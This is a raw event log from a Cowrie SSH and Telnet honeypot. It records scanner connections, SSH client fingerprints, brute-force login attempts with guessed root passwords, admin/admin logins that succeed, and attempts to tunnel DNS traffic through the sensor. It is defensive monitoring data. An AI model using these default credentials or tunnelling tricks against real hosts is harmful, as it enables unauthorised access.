{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:45:34.228118Z","src_ip":"66.132.172.130","session":"569ef163e92d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:45:34.252240Z","src_ip":"66.132.172.130","session":"569ef163e92d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.33894371986389,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:45:42.181433Z","src_ip":"172.81.62.90","session":"136326ab4359","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:45:49.226245Z","src_ip":"66.132.172.130","session":"569ef163e92d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60462,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b28d969ad51","protocol":"telnet","message":"New connection: 128.199.8.54:60462 (159.203.135.109:23) [session: 3b28d969ad51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:45:58.939529Z"}
{"eventid":"cowrie.session.closed","duration":0.004524946212768555,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:45:58.943917Z","src_ip":"128.199.8.54","session":"3b28d969ad51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":42956,"dst_ip":"159.203.135.109","dst_port":23,"session":"77ded76873b9","protocol":"telnet","message":"New connection: 128.199.209.169:42956 (159.203.135.109:23) [session: 77ded76873b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:46:20.498798Z"}
{"eventid":"cowrie.session.closed","duration":5.442060232162476,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:46:25.940742Z","src_ip":"128.199.209.169","session":"77ded76873b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":57170,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5ff20426dad","protocol":"ssh","message":"New connection: 51.250.105.222:57170 (10.17.0.5:22) [session: a5ff20426dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:46:38.288653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:46:38.293477Z","src_ip":"51.250.105.222","session":"a5ff20426dad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:46:38.422182Z","src_ip":"51.250.105.222","session":"a5ff20426dad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:46:38.799936Z","src_ip":"51.250.105.222","session":"a5ff20426dad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:46:39.928440Z","src_ip":"51.250.105.222","session":"a5ff20426dad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":43198,"dst_ip":"159.203.135.109","dst_port":22,"session":"88e39237913f","protocol":"ssh","message":"New connection: 103.77.242.62:43198 (159.203.135.109:22) [session: 88e39237913f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:46:40.250276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:46:40.254167Z","src_ip":"103.77.242.62","session":"88e39237913f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:46:40.489604Z","src_ip":"103.77.242.62","session":"88e39237913f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111980","message":"login attempt [root/11111980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:46:41.198289Z","src_ip":"103.77.242.62","session":"88e39237913f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:46:42.437305Z","src_ip":"103.77.242.62","session":"88e39237913f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36464,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ea370bf46ce","protocol":"telnet","message":"New connection: 172.81.62.90:36464 (159.203.135.109:23) [session: 1ea370bf46ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:47:24.039374Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33742,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d89deac87a5","protocol":"telnet","message":"New connection: 128.199.8.54:33742 (159.203.135.109:23) [session: 0d89deac87a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:47:56.611424Z"}
{"eventid":"cowrie.session.closed","duration":36.92736577987671,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:48:00.966580Z","src_ip":"172.81.62.90","session":"1ea370bf46ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":28932,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3a5d3c58f78","protocol":"ssh","message":"New connection: 87.251.64.176:28932 (10.17.0.5:22) [session: c3a5d3c58f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:48:14.903472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:48:14.907575Z","src_ip":"87.251.64.176","session":"c3a5d3c58f78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:48:14.997968Z","src_ip":"87.251.64.176","session":"c3a5d3c58f78","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:48:15.502003Z","src_ip":"87.251.64.176","session":"c3a5d3c58f78","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:48:15.600726Z","session":"c3a5d3c58f78","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:48:15.696068Z","src_ip":"87.251.64.176","session":"c3a5d3c58f78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:48:15.792495Z","src_ip":"87.251.64.176","session":"c3a5d3c58f78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.53581976890564,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:48:29.147142Z","src_ip":"128.199.8.54","session":"0d89deac87a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":48910,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8b1f9d771f1","protocol":"telnet","message":"New connection: 107.6.151.170:48910 (159.203.135.109:23) [session: e8b1f9d771f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:49:00.699417Z"}
{"eventid":"cowrie.session.closed","duration":32.22537446022034,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:49:32.924674Z","src_ip":"107.6.151.170","session":"e8b1f9d771f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47952,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4116605b7b4","protocol":"telnet","message":"New connection: 107.6.151.170:47952 (159.203.135.109:23) [session: b4116605b7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:50:52.107523Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38810,"dst_ip":"10.17.0.5","dst_port":22,"session":"56b59cbd9f2f","protocol":"ssh","message":"New connection: 87.251.64.176:38810 (10.17.0.5:22) [session: 56b59cbd9f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:51:01.534845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:51:01.539445Z","src_ip":"87.251.64.176","session":"56b59cbd9f2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:51:01.633218Z","src_ip":"87.251.64.176","session":"56b59cbd9f2f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:51:01.924402Z","src_ip":"87.251.64.176","session":"56b59cbd9f2f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:51:02.025323Z","session":"56b59cbd9f2f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:51:02.121010Z","src_ip":"87.251.64.176","session":"56b59cbd9f2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:51:02.218650Z","src_ip":"87.251.64.176","session":"56b59cbd9f2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58708,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa442a24abcb","protocol":"telnet","message":"New connection: 172.81.62.90:58708 (10.17.0.5:23) [session: aa442a24abcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:51:26.322735Z"}
{"eventid":"cowrie.session.closed","duration":34.31397199630737,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:51:26.421379Z","src_ip":"107.6.151.170","session":"b4116605b7b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":33302,"dst_ip":"159.203.135.109","dst_port":23,"session":"c01dde0f7871","protocol":"telnet","message":"New connection: 166.62.124.255:33302 (159.203.135.109:23) [session: c01dde0f7871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:51:30.205474Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":50424,"dst_ip":"10.17.0.5","dst_port":22,"session":"db3524c7f0ea","protocol":"ssh","message":"New connection: 27.71.230.31:50424 (10.17.0.5:22) [session: db3524c7f0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:51:34.002533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:51:34.083136Z","src_ip":"27.71.230.31","session":"db3524c7f0ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:51:34.452180Z","src_ip":"27.71.230.31","session":"db3524c7f0ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin321","message":"login attempt [root/admin321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:51:36.943197Z","src_ip":"27.71.230.31","session":"db3524c7f0ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:51:39.167451Z","src_ip":"27.71.230.31","session":"db3524c7f0ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.943577527999878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:52:01.148919Z","src_ip":"166.62.124.255","session":"c01dde0f7871","protocol":"telnet"}
